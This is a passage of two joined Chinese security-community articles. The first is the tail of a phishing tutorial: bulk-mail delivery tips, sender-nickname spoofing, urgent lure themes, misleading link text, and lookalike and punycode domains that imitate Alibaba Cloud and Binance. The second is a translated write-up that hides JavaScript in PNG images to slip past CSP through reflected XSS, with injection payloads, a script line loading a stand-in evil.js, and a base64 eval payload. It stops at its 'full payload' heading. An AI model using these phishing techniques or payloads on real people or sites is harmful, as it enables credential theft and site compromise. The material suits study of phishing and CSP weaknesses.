# Try our API. Copy & run this in your terminal.
curl -s --user 'api:key-**********' \
https://api.mailgun.net/v3/samples.mailgun.org/messages \
-F from='Excited User <[email protected]>' \
-F to='[email protected]' \
-F subject='Hello' \
-F text='Testing some Mailgun awesomeness!'
其他同类服务
Amazon SES 免费套餐，月发送 62000 封电子邮件。
<https://aws.amazon.com/cn/ses/pricing/>
阿里云邮件推送服务，每个账户每日200封免费邮件。
<https://www.aliyun.com/product/directmail?spm=5176.8064714.321187.pricedetail1111.MpRlp1>
SendCloud 搜狐旗下付费服务
<https://sendcloud.sohu.com>
MandRill 付费服务
<https://www.mandrill.com/pricing/>
Postmark 免费试用
<https://postmarkapp.com/pricing>
### 提高送达成功率的小技巧：
* 适当控制发信的频率，如果短时间内向同一个邮箱地址发信，也会容易被标记为垃圾邮件。最好向同一邮箱发信间隔在2-5天
* 将较大的收件人列表分割成若干个小的，分时间段发送
* 使用变量，一般来说，邮件服务器多次收到来自同一个邮件IP地址的相同内容邮件，很容易就被判定为垃圾邮件。在进行邮件编辑时，多采用变量设置，像公司名、收件人，可以进行变量添加，避免邮件内容完全一致
## 修改昵称伪造发件人
如果拿权威的邮件服务商发送依旧被拦截，可以尝试一种绝对不会被拦截发信的方式，但基本只对通过手机查看邮件的收件人有效。
修改发件人昵称为伪造对象的以及邮箱地址。
如果受害者通过手机查看邮件那么有极大的几率会认为此邮件为正常邮件。
* * *
# 钓鱼邮件的内容
钓鱼邮件通常有两大类，一种是链接钓鱼邮件，通常是想各种办法让目标打开网站，输入密码。另一种是附件钓鱼邮件，但不管哪一类，都需要一个好的文案来让目标点击或者下载。
一封成功的钓鱼邮件，一个好的文案是必须的，一个让人看了后可能会去点的文案，需要具备以下几个要素：
* 重要性
首先得让体现出来邮件的重要性，来驱使目标去查看邮件。
* 合理性
其次文案得基本合理，这个就需要结合目标的身份，日常习惯，所在公司的情况及业务进行综合考量，来编写出一个合理的文案。
* 紧迫性
最后文案最好有一些紧迫性，来促使目标尽快的去按照文案引导，进行点击、输入等操作。
## 下边是一些链接钓鱼案例：
### 账号被异常登录
### 账号密码过期
### 系统更新，迁移
### 领取礼品
## 链接钓鱼时候的一些技巧
有了文案，怎么能让邮件看起来真实性更高呢？
最简单的就是用超链接,把元素内容改成想要仿冒的域名，在邮箱页面上，就会直接显示元素的内容，如下图所示：
<a href="http://www.eval.me">www.aliyun.com</a>
但这种点击完之后，跳转浏览器的时候就会显示真实的域名，所以，要想让钓鱼的成功率更高一些，就需要对域名做一些处理。比如申请一些和目标域名比较相似的域名，比如用0代替o，用1代替l，用vv代替w等等，这就需要发挥你的想象来寻找相似的域名：
http://www.taoba0.com/
http://www.a1iyun.com
如果找不到这样形似的域名或者这种域名比较贵的情况下，可以尝试一些更骚的操作。。
比如币安“惊魂夜”钓鱼的案例：
用户收到的钓鱼网站链接：
真正的官网链接：
攻击者的域名为
www.biṇaṇce.com
图中用于替换字母n的字符为：ṇ
Unicode编码为：U+1E47
真正的字母n的Unicode编码为：
U+006E，攻击者上演了一出障眼法骗过了那些受害者。
这样的域名是怎么注册的呢？在了解怎么注册一个这样的域名前，需要先了解什么是国际域名（Internationalized domain name, IDN）。
IDN是指在域名中包含至少一个特殊语言字母的域名，特殊语言包括中文、法文、拉丁文等。在DNS系统工作中，这种域名会被编码成ASCII字符串，并通过Punycode进行翻译。
Punycode是一个根据RFC 3492标准而制定的编码系统,主要用于把域名从地方语言所采用的Unicode编码转换成为可用於DNS系统的编码。
目前，因为操作系统的核心都是英文组成，DNS服务器的解析也是由英文代码交换，所以DNS服务器上并不支持直接的中文域名解析，所有中文域名的解析都需要转成punycode码，然后由DNS解析punycode码。其实目前所说的各种主流浏览器都完美支持IDN域名，浏览器里面会自动对IDN域名进行Punycode转码，而地址栏依旧显示的是原始输入的IDN域名。
所以，要想注册“币安”的这个域名：
www.biṇaṇce.com
其实只需要注册他经过punycode转码后的域名：
www.xn--biace-4l1bb.com
然后让目标访问www.biṇaṇce.com，在地址栏中就很难被发现。
我遍历了unicode表，找了一些字母形似的unicode，可利用此表来注册一些钓鱼域名
仿冒的阿里云
www.аlіyun.com
0x456 і
0x430 а
经punycode转码：www.xn--lyun-43d3u.com
[punycode在线转换工具：http://tools.jb51.net/punycode/index.php](http://tools.jb51.net/punycode/index.php)
### https证书
最后要说一点，就是https证书，前边仿冒的再像，但如果浏览器上直接出现了不安全警告或者红斜杠，也很容易引起目标的警惕。所以在条件允许的情况下，尽量做戏做全套，现在普通的https证书也是很便宜的。证书的具体申请使用就不在这细说了，百度一下，全都知道。
# 总结
今儿说了钓鱼邮件中通过链接钓鱼的方式，下次再说说通过钓鱼邮件中的附件进行攻击的方法。还是安全圈的老话，未知攻焉知防，讲常见钓鱼的方式，也是为了帮助大家更好的识别钓鱼邮件，切勿把以上内容用到恶意攻击等非法行动中。 | 社区文章 |
原文：https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
**将JavaScript代码隐藏在PNG图像中，利用XSS绕过CSP对网站攻击测试研究**
# tl;dr
利用HTML
Canvas可以将恶意JavaScript代码转化为PNG图像，达到隐藏恶意代码的目的。然后，图像可以上传到正规网站，如Twitter或Google(通常由CSP列入白名单)，最后，利用canvas
`getImageData`方法，从图像中提取“隐藏的JavaScript代码”并执行。
Content-Security-Policy响应头被广泛用来缓解XSS，点击劫持和代码注入攻击。许多网站为了避免误报，通常会配置比较宽松的策略，将整个域都放进白名单中。
[Mike Parsons的一篇文章](https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350 "Mike Parsons的一篇文章")展示了如何使用HTML
Canvas将JavaScript代码“存储”到PNG图像中，作者突然想到，通过利用恶意JavaScript“存储”到PNG图像，我们可以获得一个完美的CSP绕过技术。
具体方法CanvasRenderingContext2D中的putImageData和getImageData，并使用String.charCodeAt表示隐藏文本字符串的每个字符。
Canvas 2D
API的CanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形，则只绘制该矩形中的像素。方法不受canvas变换矩阵的影响
Canvas 2D
API的CanvasRenderingContext2D方法getImageData()返回表示画布指定部分的底层像素数据的ImageData对象。如果指定的矩形延伸到画布边界之外，则画布外部的像素在返回的ImageData对象zho为透明黑色。
# 使用Canvas在PNG图像中隐藏文本
下面是一个隐藏文本的示例：
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
上面的代码使用`putImageData`方法创建一个图像，用RGB色彩模式表示"Hello,
World!"字符串（每三个一组），在控制台中运行后，浏览器左上角会显示一个图像：
上面图像的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数，可以将每个字符转换为0到65535之间的整数，在单个像素中，第一个转换的字符用于红色通道，第二个字符用于绿色通道，最后一个字符用于蓝色通道，第四个值是Alpha通道，在本文的例子中始终为255。
r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]
下图可以更好地解释字符串的字符是如何分布到ImageData数组中的：
现在我们有了一个表示“Hello, World!”字符串的PNG图像。可以利用下面这段代码，将生成的PNG图像转换为原始字符串：
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
JavaScript代码将刚刚创建的图像元素，通过getImageData方法将其转换为原始文本字符串。使用getImageData时，会暂时得到一个ImageData对象，其数据属性为一个大数组。ImageData数组中每个像素都有四个元素:r、g、b和alpha。
数组的具体格式：
`[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB,
pixelNAlpha]`
# A vulnerable website
现在我们知道如何将文本字符串“存储”到图像中，以及如何将该图像转换回其原始字符串。现在我们将隐藏的对象变为Javascript代码，并将生成的PNG图像上传到Twitter中。借此可以绕过Twitter的白名单图像的内容安全策略，并且可以利用XSS从“受信任的”来源加载JavaScript内容。
作者创建了一个易受攻击的Web应用程序，用来测试这项技术。Webapp使用内容安全策略来阻止加载外部JavaScript资源：
网站具体的Content-Security-Policy配置如上所示，该网站允许来自推特的图片。现实中也是这样，有许多网站为了避免误报，配置了script-src指令，将整个域都放到白名单中。
根据爬取Alexa Top 1M的数据来看，似乎有5000多个网站在script-src或default-src指令上使用带有“unsafe-inline”和“unsafe-eval”的Content-Security-Policy：
该漏洞存在于lang参数上，该参数不会过滤用户输入，从而导致HTML注入和反射型XSS。
为了利用此测试Web应用程序上的XSS漏洞，需要通过HTML注入来禁用src属性并添加SCRIPT标签，具体的payload如下所示
?lang="><script>alert(1)</script>
接下来需要绕过CSP，导入被CSP阻止的外部JavaScript库，：
?lang="><script+src="//example.com/evil.js"></script>
# 将PNG/JS上传到Twitter
在做了一些测试之后，我发现当上传的图片太小时，推特上会显示上传失败。因此，我使用了一个较长的JavaScript代码(包括随机注释)来创建一个较大的图像：
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "function asd() {\
var d = document;\
var c = 'cookie';\
alert(d[c]);\
};asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
然后上传到推特
将图片加载到IMG中，可以将其转换为原始的隐藏JavaScript代码。
然后在用来测试的webapp中执行eval操作。
# Exploiting: Bypass the CSP
获得远程推特图像，可以发送下列请求
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
现在，注入JavaScript行来将图像转换为外部JavaScript库并绕过CSP：
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
将其base64编码后，放到onload属性中，
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
接着
http://localhost:8111/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
本来以为万事大吉，在执行getImageData时出错，显示错误消息“The canvas has been tainted by cross-origin
data”。
查阅[相关文档](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image
"相关文档")时，我发现浏览器阻止了诸如getImageData跨域加载图像之类的方法，接下来我还需要对crossorigin属性进行注入：
HTML为图像提供了`Crossorigin`属性，结合合适的CORS头，允许在`<canvas>`使用由`<img>`元素定义的、从外部来源加载的图像.
由于canvas位图中的像素来源广泛，包括从其他主机检索的图像或视频，因此不可避免地会出现安全问题。一旦将未经CORS允许的从其他来源加载的任何数据绘制到画布中，画布就会被污染。受污染的画布就默认为不安全的，任何从画布检索图像数据的操作都将抛出异常。如果外来内容的源是HTML`<img>`或SVG`<svg>`元素，则不允许检索画布的内容。
幸运的是，twitter对于所有上传的图片添加了`Access-Control-Allow-Origin:
*`，这意味着我只需要将Crossorigin属性注入到img标记中，值为“anonymous”就可以使其正常工作。
注入值为“anonymous”的Crossorigin属性，接下来就是顺风顺水，并且可以成功执行函数`alert(document
ent.cookie)`，
完整的payload
